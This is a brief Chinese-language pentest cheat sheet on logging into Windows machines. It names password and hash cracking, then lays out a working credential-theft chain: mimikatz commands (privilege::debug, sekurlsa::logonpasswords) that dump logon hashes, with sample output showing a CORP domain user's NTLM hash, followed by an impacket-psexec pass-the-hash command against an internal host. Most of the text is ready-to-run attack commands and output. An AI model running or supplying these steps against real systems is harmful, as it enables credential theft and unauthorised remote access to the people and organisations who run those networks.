【Windows】登入方法

密碼

取得方法:

• 密碼破解
• hash破解

---

NTLM

取得方法:

mimikatz.exe + impacket-psexec

C:\tools\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
...
 [00000003] Primary
         * Username : maria
         * Domain   : CORP
         * NTLM     : 2a944a58d4ffa77137b2c587e6ed7626
...
#impacket-psexec -hashes 00000000000000000000000000000000:{ntlm} {username}@{ip}
impacket-psexec -hashes 00000000000000000000000000000000:2a944a58d4ffa77137b2c587e6ed7626 maria@192.168.198.70